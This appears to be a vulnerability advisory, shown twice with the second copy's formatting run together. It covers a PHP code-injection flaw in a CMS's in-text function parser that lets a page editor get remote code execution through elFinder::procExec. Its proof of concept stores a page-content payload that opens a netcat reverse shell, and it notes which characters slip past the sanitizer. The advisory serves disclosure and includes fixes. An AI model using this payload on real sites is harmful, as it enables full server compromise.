Summary
A PHP code-injection flaw in App\Libraries\CommonLibrary::parseInTextFunctions() lets a backend user who can edit page content turn that content into an arbitrary PHP static-method call. Because the parsed page body is rendered on every public page view, the call is triggered by any visitor (no authentication required). By targeting the static method elFinder::procExec() (autoloadable via the bundled studio-42/elfinder Composer classmap, which passes its first argument straight to proc_open()), an attacker achieves Remote Code Execution as the web-server user. No source-code modification is required to exploit this.
Details
parseInTextFunctions() scans user-controlled page content for the pattern {Class|method[/ARG/]/} and invokes it directly with no allow-list.
app/Libraries/CommonLibrary.php:
The input string {elFinder|procExec[/ARG/]/} is decomposed into the callable ['elFinder', 'procExec'] and the argument 'ARG', producing:
call_user_func_array(['elFinder', 'procExec'], ['ARG']);
PHP only accepts Class::method for an array callable, so a single-element callable such as system is not reachable. But a static method whose first parameter is a shell command is the perfect gadget.
Sanitizer bypass: {...} is not an HTML tag, so the stored-content purifier leaves it intact. Only parser constraints apply: |, /], /} cannot appear in the command, and the save-time purifier entity-encodes <, >, &, quotes. Spaces, ;, and / paths work. Enough for arbitrary execution (touch, mkdir, staged loaders).
PoC
Roles used
- Low-privileged backend user whose permission is creating/editing page content (no admin, no module, no settings rights).
-
Log in to the backend as the low-privileged page editor and open the page editor for a page the user is allowed to create/edit.
-
Set the page content to:
{elFinder|procExec[/busybox nc 127.0.0.1 4646 -e sh/]/}
Save it. The payload is stored verbatim (the HTML purifier does not strip {...}).
(Note: > & < | are blocked by the purifier/parser. Do not use them in the command; touch, mkdir, ;, and spaces work.)
- Render the page (open its public URL, e.g.
http://localhost:8080/<pagelink> http://localhost:8080/contact).
Impact
- Full Host Compromise: Code executes under the web server user, allowing attackers to deploy persistent Web Shells, establish Reverse Shells, and achieve full control of the operating system.
Fix
- Remove the dynamic-dispatch sink entirely and resolve in-text functions through a fixed allow-list. User content must never be turned into a callable.
- Never pass user-influenced strings to
call_user_func/call_user_func_array/proc_open/exec/etc.
Summary
A PHP code-injection flaw in App\Libraries\CommonLibrary::parseInTextFunctions() lets a backend user who can edit page content turn that content into an arbitrary PHP static-method call. Because the parsed page body is rendered on every public page view, the call is triggered by any visitor (no authentication required). By targeting the static method elFinder::procExec() (autoloadable via the bundled studio-42/elfinder Composer classmap, which passes its first argument straight to proc_open()), an attacker achieves Remote Code Execution as the web-server user. No source-code modification is required to exploit this.
Details
parseInTextFunctions()scans user-controlled page content for the pattern{Class|method[/ARG/]/}and invokes it directly with no allow-list.app/Libraries/CommonLibrary.php:The input string
{elFinder|procExec[/ARG/]/}is decomposed into the callable['elFinder', 'procExec']and the argument'ARG', producing:PHP only accepts
Class::methodfor an array callable, so a single-element callable such assystemis not reachable. But a static method whose first parameter is a shell command is the perfect gadget.Sanitizer bypass: {...} is not an HTML tag, so the stored-content purifier leaves it intact. Only parser constraints apply: |, /], /} cannot appear in the command, and the save-time purifier entity-encodes <, >, &, quotes. Spaces, ;, and / paths work. Enough for arbitrary execution (touch, mkdir, staged loaders).
PoC
Roles used
Log in to the backend as the low-privileged page editor and open the page editor for a page the user is allowed to create/edit.
Set the page content to:
Save it. The payload is stored verbatim (the HTML purifier does not strip
{...}).(Note:
>&<|are blocked by the purifier/parser. Do not use them in the command;touch,mkdir,;, and spaces work.)http://localhost:8080/<pagelink>http://localhost:8080/contact).Impact
Fix
call_user_func/call_user_func_array/proc_open/exec/etc.